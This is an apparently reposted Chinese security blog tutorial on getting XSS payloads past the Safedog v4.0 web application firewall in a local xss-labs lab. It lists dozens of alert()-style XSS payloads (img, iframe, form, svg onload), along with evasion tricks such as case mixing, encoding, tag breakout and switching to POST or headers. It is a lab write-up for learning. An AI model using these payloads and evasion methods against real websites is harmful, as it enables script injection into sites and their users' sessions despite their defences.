长亭百川云 - 文章详情

【WAF 剖析】10 种 XSS 绕过姿势,以及思路分析

游不动的小鱼丶

261

2024-07-22

xss 基础:Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一) 、Web安全中的XSS攻击详细教学(二)--已完结

如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取

image-20240722161008610

复现

网站安全狗最新 v4.0 已经准备好

image-20240722104320515

这里用 xsslab 进行 waf 绕过测试

image-20240722102257861

还是一样安全狗 waf 测试

http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>

image-20240722102220534

基础 payload

php

<?php  
echo "<script>alert(1)</script>";  
?>

img

<img src=javascript:alert("xss")>  
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>  
<img scr="URL" style='Xss:expression(alert(xss));'>  
<img src="x" onerror=alert(1)>  
<img src="x" οnerrοr=eval("alert('xss')")>  
<img src=x οnmοuseοver=alert('xss')>

css

<img STYLE="background-image:url(javascript:alert('XSS'))">

form

XSS利用方式1  
<form action=javascript:alert('xss') method="get">  
<form action=javascript:alert('xss')>  
XSS利用方式2  
<form method=post action=aa.asp? οnmοuseοver=prompt('xss')>  
<form method=post action=aa.asp? οnmοuseοver=alert('xss')>  
<form action=1 οnmοuseοver=alert('xss')>

input

<input name="name" value="">  
<input value="" οnclick=alert('xss') type="text">  
<input name="name" value="" οnmοuseοver=prompt('xss') bad="">  
<input name="name" value=""><script>alert('xss')</script>

iframe

<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>  
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>  
<!--原code-->  
<iframe src="data:text/html;base64,<script>alert('xss')</script>">  
<!--base64编码-->  
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">  
  
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>  
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

经过测试以上内容皆执行不了,但是还有一个 svg 没测试

svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下

<svg onload=alert(1)>

image-20240722103703228

常见的 waf 绕过 payload

1.大小写绕过

<sCript>alert(1)</Script>

image-20240722130044000

2、双写绕过

image-20240722130917202

3、img

image-20240722130953046

4、onmouseover 事件

image-20240722131108228

  • 当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)

image-20240722131353856

5、onclick 事件

button

image-20240722131709995

6、onload 事件

例如

<svg onload=alert(1)>

之前已经测试过了,svg 的 onoad 事件可以

7、编码脚本绕过关键字

image-20240722132223214

8、主动闭合标签实现注入代码

image-20240722134140300

9、绕过 HTML 注释符

image-20240722134616530

10、利用换行符绕过

image-20240722134745914

11、绕过右标签

image-20240722134807050

12、绕过</内容>

image-20240722134857902

字典爆破

image-20240722135712030

这个时候直接一个一个去访问即可

image-20240722141703806

这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合

image-20240722141540870

我们在 url 中闭合这个标签,就可以了

image-20240722141917556

绕过思路

一、更改提交方式

在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。

二、混淆伪装绕过

混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如

三、标签和事件函数变换

XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如
,

, markdown-img
等)替换常用的

四、利用 WAF 的缺陷和配置不当

  1. 「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。

  2. 「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。

  3. 「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。

五、使用自动化工具

自动化工具如XSStrike
等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。

XSStrike 开源地址:https://github.com/s0md3v/XSStrike

六、其他技巧

  1. 「利用伪协议」:某些 HTML 属性支持伪协议(如javascript:
    ),攻击者可以利用这些属性执行恶意脚本。

  2. 「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression()
    )执行 JavaScript 代码。

  3. 「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval()
    , window.onload
    等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。

七、举例

这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe
,它可以正常访问,说明 标签没有进行过滤

http://192.168.209.149/level1.php?name=<iframe>

image-20240722143819570

标签没有进行过滤,尝试闭合这个标签,ok 正常访问

image-20240722144155301

判断属性 src,好没有过滤

image-20240722144230962

加了个=
就被拦截了,这时候没法继续了,换个事件试试

image-20240722144259675

image-20240722144611518

这里拿 onload 尝试

image-20240722144645731

需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。

SQL 注入 WAF 绕过文章参考:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细    、 sql注入某狗WAF绕过(补充)

由于微信 1 群超过 200 人,需要邀请才能进入,可以后台联系我微信备注【进群】拉你进 1 群,当然也可以进入二群来捧场,需要**「学习资料」的可以后台添加 qq学习群,共「1.4T 网安学习视频+各种工具+各种靶场镜像」**都为你准备好了

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2